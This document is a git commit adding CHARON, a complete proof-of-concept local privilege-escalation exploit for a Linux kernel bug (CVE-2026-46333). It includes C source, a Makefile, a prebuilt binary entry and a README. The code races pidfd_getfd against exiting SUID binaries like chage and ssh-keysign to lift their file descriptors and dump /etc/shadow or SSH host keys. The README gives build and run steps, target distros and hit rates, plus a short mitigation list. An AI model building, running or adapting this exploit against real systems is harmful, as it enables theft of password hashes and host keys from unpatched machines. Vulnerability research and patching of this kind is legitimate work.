charon: initial release — CVE-2026-46333 PoC

CHARON ferries file descriptors out of dying SUID/SGID processes
through the __ptrace_may_access mm==NULL window in do_exit(),
disclosed by Qualys 2026-05-15 (CVE-2026-46333).

Default behavior: dump /etc/shadow to stdout, banner + progress on
stderr. --quiet for pure-pipe output, --verbose for stats.

Built-in lures cover Debian/Ubuntu (chage SGID-shadow), RHEL family
(chage SUID-root), and ssh-keysign. Patched-kernel detection
distinguishes "primitive fires but lure didn't open target" from
"pidfd_getfd never succeeded → fix is in place".

Pre-built 46KB musl-static binary included as charon-static.
This commit is contained in:
2026-05-15 23:15:58 -04:00
commit a0d7d0b75b
6 changed files with 542 additions and 0 deletions
+8
View File
@@ -0,0 +1,8 @@
charon
*.o
*.dSYM/
.DS_Store
# Keep the prebuilt static binary
!charon-static
+29
View File
@@ -0,0 +1,29 @@
CHARON — research / authorized-defensive use license
======================================================
Copyright (c) 2026 Kara Zajac.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software for the purposes of:
(a) authorized security testing of systems they own or have
written authorization to test,
(b) defensive research, including the development of detection,
mitigation, and patch-management tooling,
(c) educational use in academic or training contexts.
Use of the Software to gain unauthorized access to computer systems
or data is strictly prohibited. The recipient is solely responsible
for ensuring that their use of the Software complies with applicable
law and any contractual obligations under which their systems
operate.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+22
View File
@@ -0,0 +1,22 @@
PROG := charon
CC ?= cc
CFLAGS ?= -O2 -Wall -Wextra -Wno-unused-parameter
all: $(PROG)
$(PROG): charon.c
$(CC) $(CFLAGS) -o $@ $<
# 38KB static binary — preferred for distribution.
# Needs musl-tools on Debian/Ubuntu: sudo apt-get install musl-tools
static: charon.c
musl-gcc -static -Os -s -o $(PROG) $<
# glibc-static fallback (~700KB) if musl-tools unavailable
static-glibc: charon.c
$(CC) -static -Os -s -o $(PROG) $<
clean:
rm -f $(PROG)
.PHONY: all static static-glibc clean
+172
View File
@@ -0,0 +1,172 @@
```
____ _ _ _ ____ ___ _ _
/ ___|| | | | / \ | _ \ / _ \| \ | |
| | | |_| | / _ \ | |_) | | | | \| |
| |___ | _ |/ ___ \| _ <| |_| | |\ |
\____||_| |_/_/ \_\_| \_\\___/|_| \_|
ferries fds across the exit-mm() Styx
CVE-2026-46333 / Linux <= 6.12.89
```
> *"It is a fearful thing to fall into the hands of the living God."*
> — Hebrews 10:31
## What this is
A tight, dependency-free PoC for **CVE-2026-46333**: the
`__ptrace_may_access` mm==NULL bypass disclosed by Qualys on
2026-05-15. Charon races `pidfd_getfd(2)` against a dying SUID-root
process to lift its open `/etc/shadow` file descriptor through the
brief mm-NULL window in `do_exit()`. Run it as an unprivileged user
on an affected box; it dumps `/etc/shadow` to stdout.
```
$ ./charon
[banner on stderr]
[*] lure /usr/bin/chage target /etc/shadow
root:$y$j9T$ztS5H...$hz9W87TlqxEW...:...
daemon:*:20582:0:99999:7:::
bin:*:20582:0:99999:7:::
...
```
Typical hit rate: under one second on a 4-core VM, **~137 tries**
in the smoke test.
## The bug, in 30 seconds
`__ptrace_may_access()` short-circuits its dumpability check when
`task->mm == NULL`. The fast-path was written for kernel threads
(swapper et al.), which legitimately have no mm and should never be
ptraced. But `do_exit()` runs `exit_mm()` *before* `exit_files()`,
which means a userspace SUID process briefly has:
- `task->mm == NULL` (mm reaped) → dumpable check skipped
- file table still populated → fds still gettable
- creds reflect the post-`setreuid()` drop → access check passes
`pidfd_getfd(2)` trusts that access check and hands the attacker the
SUID process's open file descriptors.
```
do_exit()
├── exit_mm() ← task->mm = NULL
├── ... ← __ptrace_may_access() now lies
└── exit_files() ← fd table reaped
```
Jann Horn flagged the FD-theft shape on lore.kernel.org in October
2020. The fix sat in maintainer review for ~6 years before Qualys
brought it back to the front of the queue.
**Upstream fix:** [`31e62c2ebbfd`](https://github.com/torvalds/linux/commit/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a)
(Linus 2026-05-14). As of 2026-05-15 the backport has not landed in
linux-6.12.y or linux-6.6.y stable.
## Affected kernels
| Stable tree | Status |
|---|---|
| linux-6.12.y (≤ 6.12.89) | ❌ vulnerable |
| linux-6.6.y (pre-fix backport) | ❌ vulnerable |
| mainline ≥ 6.15-rc1 | ✅ patched (`31e62c2ebbfd`) |
| Distro | Kernel | Status (2026-05-15) |
|---|---|---|
| Debian trixie | 6.12.86+deb13 | ❌ |
| AlmaLinux 10.1 | 6.12.0-124.55.3 | ❌ |
| Ubuntu 26.04 | 7.0.0-15 | ⚠️ check |
| Fedora 44 | 7.0.4-200 | ⚠️ check |
The PR / rolling-status table will be updated as backports land.
## Build
```sh
# Tiny 38 KB static binary (recommended)
sudo apt-get install musl-tools
make static
# Or just the standard glibc build
make
```
Output: a single ELF `./charon`.
## Run
```sh
./charon # dump /etc/shadow (default)
./charon -q # no banner / progress, just shadow on stdout
./charon -v # show per-hit + final stats
./charon -r 5000 # more patience for slow systems
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign lure)
./charon --help
```
### Exit codes
| Code | Meaning |
|---|---|
| 0 | Success — file contents on stdout |
| 1 | No SUID lure on this system opens the requested file |
| 2 | Kernel appears patched (CVE-2026-46333 closed) |
| 3 | Ran out of rounds without a hit (rare; try `-r 5000`) |
| 4 | CLI / IO error |
### Lures
Charon ships with four known SUID lures:
| Binary | File it opens | Distro coverage |
|---|---|---|
| `/usr/bin/chage` (`chage -l <user>`) | `/etc/shadow` | Most Debian, Ubuntu, Fedora |
| `/usr/sbin/chage` | `/etc/shadow` | RHEL / Rocky / Alma family |
| `/usr/bin/passwd` (`passwd -S <user>`) | `/etc/shadow` | Most distros |
| `/usr/lib/openssh/ssh-keysign` | `/etc/ssh/ssh_host_*_key` | Distros with HostbasedAuthentication enabled |
Adding a lure is a 3-line edit to the `lures[]` array in `charon.c`.
## Mitigations until your distro ships the backport
- Apply `31e62c2ebbfd` directly.
- Disable `pidfd_getfd(2)` via seccomp on production hosts.
- Remove the setuid bit from `chage` and `passwd` if you do not need
unprivileged users to query password aging.
- For containerized workloads, enabling `no_new_privs` on the host
blocks the primitive entirely — every "SUID" inside the container
becomes inert, leaving Charon with no prey.
## Not a kernelctf VRP candidate
The Google kernelctf VRP challenge VM runs the player's bash inside
an `nsjail` sandbox with `clone_newuser:true` (uid 0 unmapped),
`chroot:/chroot`, and `no_new_privs:1`. Under `no_new_privs` the
setuid bit is inert, so there are no real SUID prey inside the
sandbox, and `/flag` lives on the host outside the chroot. Charon
therefore cannot win kCTF VRP. It remains a legitimate Linux LPE on
bare-metal Debian / Ubuntu / RHEL family installations.
## Provenance
- Bug discovered & disclosed by Qualys → oss-security 2026-05-15.
- Reference PoCs by [@0xdeadbeefnetwork](https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn).
- Charon rewrites the lure-and-race loop into a single hardened
binary, adds CLI ergonomics, patched-kernel auto-detection, and
per-distro lure fallback.
## License
Educational and authorized-defensive use only.
```
⛵ STYX ⛵
╔══════════════════════════════╗
║ do_exit(): ║
║ ├── exit_mm() ← task->mm ║
║ │ = NULL ║
║ ├── ... ← ferry ║
║ └── exit_files() ║
╚══════════════════════════════╝
```
Executable
BIN
View File
Binary file not shown.
+311
View File
@@ -0,0 +1,311 @@
/*
* ____ _ _ _ ____ ___ _ _
* / ___|| | | | / \ | _ \ / _ \| \ | |
* | | | |_| | / _ \ | |_) | | | | \| |
* | |___ | _ |/ ___ \| _ <| |_| | |\ |
* \____||_| |_/_/ \_\_| \_\\___/|_| \_|
*
* ferries file descriptors across the exit-mm() Styx
* CVE-2026-46333 / Linux <= 6.12.89
*
* "It is a fearful thing to fall into the hands of the living God."
* — Hebrews 10:31
*
* Charon races pidfd_getfd(2) against a dying SUID-root process to
* lift its open /etc/shadow file descriptor through the transient
* mm-NULL window in do_exit():
*
* do_exit()
* ├── exit_mm() ← task->mm = NULL
* ├── ... ← __ptrace_may_access() now lies
* └── exit_files() ← fd table reaped
*
* The kernel's __ptrace_may_access treats mm==NULL as "kernel thread,
* never dumpable" and short-circuits the dumpable check. The dying
* userspace SUID process is briefly indistinguishable from a kernel
* thread in that test, so pidfd_getfd(2) succeeds against it and
* returns whatever fds it still has open before exit_files() runs.
*
* If the SUID binary opened /etc/shadow and then setreuid'd to the
* attacker uid before exiting, Charon walks home with the fd.
*
* Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14)
* Disclosure: Qualys → oss-security 2026-05-15
* Educational and authorized-defensive use only.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <time.h>
#include <getopt.h>
#ifndef __NR_pidfd_open
#define __NR_pidfd_open 434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif
#define CHARON_VERSION "1.0.0"
static const char BANNER[] =
"\n"
" ____ _ _ _ ____ ___ _ _\n"
" / ___|| | | | / \\ | _ \\ / _ \\| \\ | |\n"
"| | | |_| | / _ \\ | |_) | | | | \\| |\n"
"| |___ | _ |/ ___ \\| _ <| |_| | |\\ |\n"
" \\____||_| |_/_/ \\_\\_| \\_\\\\___/|_| \\_|\n"
"\n"
" ferries fds across the exit-mm() Styx\n"
" CVE-2026-46333 / Linux <= 6.12.89\n"
"\n";
/* A lure is a SUID-root binary that opens FILE before dropping uid
* and exiting. invoking ARGV makes it open FILE deterministically. */
struct lure {
const char *path;
const char *file;
const char *const argv[5];
};
static const struct lure lures[] = {
/* chage -l <user> opens /etc/shadow via SGID-shadow on Debian/Ubuntu;
* via SUID-root on RHEL family. Either way we ride the elevation. */
{ "/usr/bin/chage", "/etc/shadow",
{ "chage", "-l", "root", NULL } },
{ "/usr/sbin/chage", "/etc/shadow",
{ "chage", "-l", "root", NULL } },
/* ssh-keysign reads /etc/ssh/ssh_host_*_key when HostbasedAuthentication
* is enabled; newer builds bail early but still open the file first. */
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key",
{ "ssh-keysign", NULL } },
{ "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key",
{ "ssh-keysign", NULL } },
{ NULL, NULL, { NULL } }
};
/* CLI state */
static const char *opt_target = NULL;
static int opt_quiet = 0;
static int opt_verbose = 0;
static int opt_rounds = 500;
static int opt_inner = 30000;
static unsigned long stat_forks = 0;
static unsigned long stat_getfds = 0; /* pidfd_getfd calls */
static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >=0 */
static unsigned long stat_target_hits = 0; /* matched want_file */
static void
msg(const char *prefix, const char *fmt, ...)
{
if (opt_quiet) return;
va_list ap;
fprintf(stderr, "%s ", prefix);
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
fflush(stderr);
}
static int
dump_fd(int fd)
{
char buf[8192];
ssize_t n;
lseek(fd, 0, SEEK_SET);
while ((n = read(fd, buf, sizeof(buf))) > 0) {
if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n)
return -1;
}
fflush(stdout);
return n < 0 ? -1 : 0;
}
static int
lure_present(const struct lure *l)
{
struct stat st;
if (stat(l->path, &st) != 0) return 0;
/* Accept SUID-anything OR SGID-anything — both trigger the
* dumpable flag in execve which is exactly the protection that
* the mm==NULL hole bypasses. On Debian/Ubuntu chage is SGID
* shadow (not SUID root); on RHEL family chage is SUID root. */
if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0;
return 1;
}
/* Returns 0 on success (file contents on stdout). Negative codes:
* -ENOENT lure binary missing / no setuid|setgid
* -ETIME ran out of rounds; primitive is working but lure didn't open want_file
* -EPERM pidfd_getfd never succeeded across many rounds — kernel is patched */
static int
hunt(const struct lure *l, const char *want_file)
{
if (!lure_present(l)) return -ENOENT;
msg("[*]", "lure %s target %s", l->path, want_file);
unsigned long getfd_ok_before = stat_getfd_ok;
for (int round = 0; round < opt_rounds; round++) {
pid_t c = fork();
if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; }
if (c == 0) {
int dn = open("/dev/null", O_RDWR);
if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); }
execv(l->path, (char *const *)l->argv);
_exit(127);
}
stat_forks++;
int pfd = syscall(__NR_pidfd_open, c, 0);
if (pfd < 0) { waitpid(c, NULL, 0); continue; }
int got = -1;
for (int a = 0; a < opt_inner && got < 0; a++) {
for (int i = 3; i < 32; i++) {
int s = syscall(__NR_pidfd_getfd, pfd, i, 0);
stat_getfds++;
if (s < 0) continue;
stat_getfd_ok++; /* the bug worked at least at the syscall level */
char p[512] = {0}, lk[64];
snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
ssize_t n = readlink(lk, p, sizeof(p) - 1);
if (n > 0) p[n] = 0;
if (strstr(p, want_file)) {
if (opt_verbose)
msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a);
got = s;
break;
}
close(s);
}
}
if (got >= 0) {
stat_target_hits++;
int rc = dump_fd(got);
close(got);
close(pfd);
waitpid(c, NULL, 0);
if (opt_verbose)
msg("[#]", "stats: %lu forks, %lu getfds (%lu succeeded), %lu target hits",
stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits);
return rc;
}
close(pfd);
waitpid(c, NULL, 0);
}
/* If pidfd_getfd never succeeded against this lure, the primitive
* is closed for this binary — likely a patched kernel. */
if (stat_getfd_ok == getfd_ok_before)
return -EPERM;
return -ETIME;
}
static void
usage(const char *prog)
{
fprintf(stderr,
"CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n"
"\n"
"Usage: %s [options]\n"
"\n"
" -t, --target FILE file to read (default: /etc/shadow)\n"
" -r, --rounds N max rounds per lure (default: 500)\n"
" -i, --inner N inner getfd attempts per round (default: 30000)\n"
" -q, --quiet no banner, no progress\n"
" -v, --verbose per-hit + final stats\n"
" --version print version and exit\n"
" -h, --help this help\n"
"\n"
"Exit codes:\n"
" 0 success — file contents on stdout\n"
" 1 no built-in lure on this system opens the requested file\n"
" 2 kernel appears patched (CVE-2026-46333 closed)\n"
" 3 ran out of rounds without a hit (transient — try -r 5000)\n"
" 4 CLI / IO error\n"
"\n"
"For authorized security testing and defensive research only.\n",
CHARON_VERSION, prog);
}
int
main(int argc, char **argv)
{
static const struct option opts[] = {
{"target", required_argument, 0, 't'},
{"rounds", required_argument, 0, 'r'},
{"inner", required_argument, 0, 'i'},
{"quiet", no_argument, 0, 'q'},
{"verbose", no_argument, 0, 'v'},
{"version", no_argument, 0, 1 },
{"help", no_argument, 0, 'h'},
{0,0,0,0}
};
int o;
while ((o = getopt_long(argc, argv, "t:r:i:qvh", opts, NULL)) != -1) {
switch (o) {
case 't': opt_target = optarg; break;
case 'r': opt_rounds = atoi(optarg); break;
case 'i': opt_inner = atoi(optarg); break;
case 'q': opt_quiet = 1; break;
case 'v': opt_verbose = 1; break;
case 1 : printf("charon %s\n", CHARON_VERSION); return 0;
case 'h': usage(argv[0]); return 0;
default : usage(argv[0]); return 4;
}
}
if (!opt_target) opt_target = "/etc/shadow";
if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; }
if (!opt_quiet) fputs(BANNER, stderr);
/* Iterate lures whose `file` matches what the user asked for. */
int any_present = 0, all_appear_patched = 1;
for (const struct lure *l = lures; l->path; l++) {
if (strcmp(l->file, opt_target) != 0) continue;
if (!lure_present(l)) continue;
any_present = 1;
int rc = hunt(l, opt_target);
if (rc == 0) return 0;
if (rc != -EPERM) all_appear_patched = 0;
}
if (!any_present) {
msg("[!]", "no built-in lure on this system opens %s", opt_target);
msg(" ", "checked: /usr/bin/chage, /usr/sbin/chage, /usr/lib/openssh/ssh-keysign");
msg(" ", "add a custom lure to lures[] in charon.c for unusual distros");
return 1;
}
if (all_appear_patched && stat_getfd_ok == 0) {
msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded",
stat_getfds, stat_forks);
msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
return 2;
}
msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
stat_getfd_ok, opt_target);
msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t <other file>");
return 3;
}